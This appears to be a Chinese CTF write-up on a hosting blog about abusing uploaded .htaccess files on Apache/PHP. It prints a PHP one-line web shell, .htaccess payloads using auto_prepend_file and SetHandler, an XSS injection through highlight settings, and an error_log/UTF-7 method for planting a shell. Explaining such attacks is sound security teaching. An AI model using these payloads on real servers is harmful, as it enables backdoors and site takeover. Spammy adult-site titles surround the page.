中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何分析用戶利用.htaccess的原理篡改配置導致的安全問題

發布時間:2021-12-03 19:40:22 來源:億速云 閱讀:180 作者:柒染 欄目:網絡安全

這篇文章將為大家詳細講解有關如何分析用戶利用.htaccess的原理篡改配置導致的安全問題,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

前言

搞過ctf的師傅們大多都了解到,文件上傳的時候經常使用.htaccess進行攻擊;但是只了解那淺層的概念在很多時候是行不通的,比如下面這個題;我先把源碼貼出來;借這個實例,深入理解.htaccess;走進htaccess世界;

如何分析用戶利用.htaccess的原理篡改配置導致的安全問題

先來審計代碼,代碼邏輯不是很難;但是如果對.htaccess理解不夠透徹的話。做出這個題還是有點難度的;這個題是一道好題;服務器首先對目錄進行遍歷,然后掃描目錄下的文件,如果不是index.php的話就刪除掉;然后包含了一下fl3g.php;接下來就是我們傳入的文件內容和文件的名字了,后面對文件的內容和名字都做了過濾;最后在我們寫的文件內容之后換行并且加入了無關的字符;

探究

什么是.htaccess

.htaccess文件(或者"分布式配置文件"),全稱是Hypertext Access(超文本入口)。提供了針對目錄改變配置的方法, 即,在一個特定的文檔目錄中放置一個包含一個或多個指令的文件, 以作用于此目錄及其所有子目錄。作為用戶,所能使用的命令受到限制。管理員可以通過Apache的''AllowOverride''指令來設置。 這里簡明扼要的說一下,.htaccess說白了就是apache服務器中的一個配置文件;只不過它負責的是相關目錄之下的網頁配置;

.htaccess可以做什么

我們通過.htaccess文件可以做到的有:網頁301重定向,自定義404錯誤頁面,改變文件拓展名,禁止目錄列表等等;;這里來拿改變文件拓展名來說一下;一般的新手文件上傳問題;可以上傳.htaccess的;我們可以在.htaccess中寫入如下的內容;

<FilesMatch "s1mple">%0aSethandler application/x-httpd-php%0a</Eilesmatch >如此我們上傳一個名為s1mple的文件;里面寫入<?php eval($_POST['s1mple']);?>然后上傳,服務器就會將s1mple文件當作php來解析,因為我們上傳的s1mple文件和.htaccess文件在同一個目錄之下,然而.htaccess文件已經改變了我們這個目錄和子目錄的配置;所以我們的s1mple文件可以成功被解析利用;或者寫入AddType application/x-httpd-php .jpg;將jpg文件當作php來解析;這很簡單;不在過多的贅述;

.htaccess進階研究

利用.htaccess構成后門;

1.文件包含;php_value auto_prepend_file +文件絕對路徑(默認是當前上傳的目錄);看代碼故名思意是預先包含我們的那個指定的文件;進階一下::如果我們預先包含了.htaccess文件;那么造成的效果就是我們插入的惡意代碼就會被任意包含;那么會有怎樣的效果?我們可以構造如下的代碼php_value auto_prepend_file ".htaccess"%0a#<?php phpinfo();?>直接在我們的.htaccess中寫入惡意代碼,直接包含;我們本地測試一下;拿著上面的那道題來測試一下;傳入;?filename=.htaccess&content=php_value%20auto_prepend_fi\%0ale%20".htaccess"%0a%23<?php phpinfo();?> \我們看看回顯;當我們第一次傳入的時候,發現沒有觸發phpinfo。那么服務器做了什么?我們本地打開相應的文件夾看看;

如何分析用戶利用.htaccess的原理篡改配置導致的安全問題

原來是第一步生成了.htaccess;還沒有預加載,這里我們刷新一下頁面,成功利用;我們反觀一下.htaccess看看里面生成了什么;

如何分析用戶利用.htaccess的原理篡改配置導致的安全問題

這里我們可以清晰的看到里面的內容;試想,我們如果面對的是上傳的問題。并且上傳了這樣的內容,那么也就可以不用傳入其他的文件,就可以直接生成后門(本地測試過,成功);我們利用這個直接寫入一句話木馬<?php eval($_POST['a']);?>,那么可以直接利用;這里直接包含了.htaccess導致了所有文件都包含了木馬;

如何分析用戶利用.htaccess的原理篡改配置導致的安全問題

如何分析用戶利用.htaccess的原理篡改配置導致的安全問題

兩張圖片證明利用成功;dir可以列出很多敏感信息;打碼打碼~~~~;buu的環境,用這種方法直接打穿;;附圖如下:

如何分析用戶利用.htaccess的原理篡改配置導致的安全問題

2..htaccess造成的xss;

這種情況就比較有意思;我們在我們的.htaccess中加入這樣的代碼;php_value highlight.html '"><script>alert(1);</script>'然后訪問index.php.這里發現成功彈窗;

如何分析用戶利用.htaccess的原理篡改配置導致的安全問題

這里只能彈一次,因為我們的index.php中有一個unlink函數,這個函數可以刪除我們該目錄之下的非index.php文件,所以我們的.htaccess也就被刪除了;

下面檢測很多都可以進行xss;

如何分析用戶利用.htaccess的原理篡改配置導致的安全問題

如何分析用戶利用.htaccess的原理篡改配置導致的安全問題

(還有一個highlight.string 也可以進行彈窗,這里隨后才加的,就沒有復現;師傅們可以復現試試;)

經過測試,如上的都可以進行彈窗進行xss;

3.htaccess篡改引擎導致源碼泄露;

實驗一下,我刪除這個題中的高亮顯示的代碼;這樣就不會顯示源碼,這里我們通過篡改服務器解析引擎,來進行顯示源碼,這里其實我們只需要將解析引擎關掉就可;在.htaccess中鍵入如下的代碼;

如何分析用戶利用.htaccess的原理篡改配置導致的安全問題

實驗看到這里代碼已經顯示出來了;我們刪除了箭頭指向的地方;那里原本是highlight_file(__FILE__)現在刪除了之后還可以顯示代碼,是因為我們關閉了php的處理引擎,使其不能工作,所以這里就顯示了源碼;這里代碼里還有個unlink函數,但是刷新多遍代碼依然沒有執行,是因為.htaccess依然存在,存在的原因就是我們代碼失去了工作引擎,導致不會被解析;也就不會刪除我們的.htaccess代碼;可見.htaccess是神兵利器;!!!

4.htaccess重定義報錯文件和自定義包含路徑;

這種方法也是這道題的另外一種解法,是標準的解法;

先來探究一下自定義報錯文件的情況,看代碼里面是一定會有報錯出現的,因為沒有fl3g.php的存在;所以我們這里修改.htaccess為php_value error_log G:\phpstudy\tmp\fl3g.php這里刷新頁面,然后發現報錯;

如何分析用戶利用.htaccess的原理篡改配置導致的安全問題

我們看看效果;進到相關目錄之下,發現fl3g.php,打開發現確實是報錯的內容;

如何分析用戶利用.htaccess的原理篡改配置導致的安全問題

我們現在想法基本有了,利用error_log自定義報錯記錄文件,寫入shell;那么怎么寫入呢?這里我們想到;因為沒有fl3g.php文件他會報錯,這里我們自定義一個包含的路徑,如果沒有的話,那么也會進行報錯,那么服務器也就會將兩個信息同時寫入到我們的報錯文件之中;我們實驗一下,發現確實是的;這里使用utf7進行編碼的原因是我們寫入報錯文件的內容會經過html編碼,所以這里用utf7進行編碼繞過去;避免其被編碼;設置報告級別為32767的原因是報告所有可能出現的錯誤,確保我們可以寫入木馬;;

現在我們已經在服務器里留下了一句話木馬(如上圖),現在就是要觸發這個木馬了。那就開始我們的第二步;因為我們這里已經有了fl3g.php而且不會被刪除,所以這里我們可以自定義包含路徑為我們fl3g.php的路徑,這里還有個問題,我們的木馬怎么被解析,所以這里我們就要首先檢驗文件是否具有unicode的內容,然后就是自定義編碼方式了 php_value zend.script_encoding配置服務器的相關目錄文件內容為utf7編碼,然后包含就會進行相應的識別解碼;最后就執行了木馬;

所以整體的流程就是;首先自定義錯誤日志進行寫馬,這里為了全面的寫入,采用32767級別的報錯;然后繞過<過濾用utf7進行編碼繞過;避免被html加密;   接著就是包含木馬了,我們自定義包含路徑為相關的路徑,然后自定義編碼方式為utf7;檢查是否有unicode;這樣就完全的包含了木馬;測試一下;

如何分析用戶利用.htaccess的原理篡改配置導致的安全問題

成功利用;

關于如何分析用戶利用.htaccess的原理篡改配置導致的安全問題就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

汾西县| 措勤县| 麻江县| 张家口市| 永仁县| 墨脱县| 灵台县| 南江县| 淅川县| 马公市| 吉安市| 汶川县| 沈丘县| 安宁市| 舒兰市| 兖州市| 仲巴县| 忻州市| 齐河县| 湘潭县| 仁怀市| 宾川县| 新巴尔虎左旗| 东方市| 高密市| 武定县| 富民县| 余姚市| 房产| 水富县| 黑水县| 武城县| 泊头市| 同心县| 基隆市| 九龙县| 珲春市| 万州区| 瓦房店市| 陇川县| 定襄县|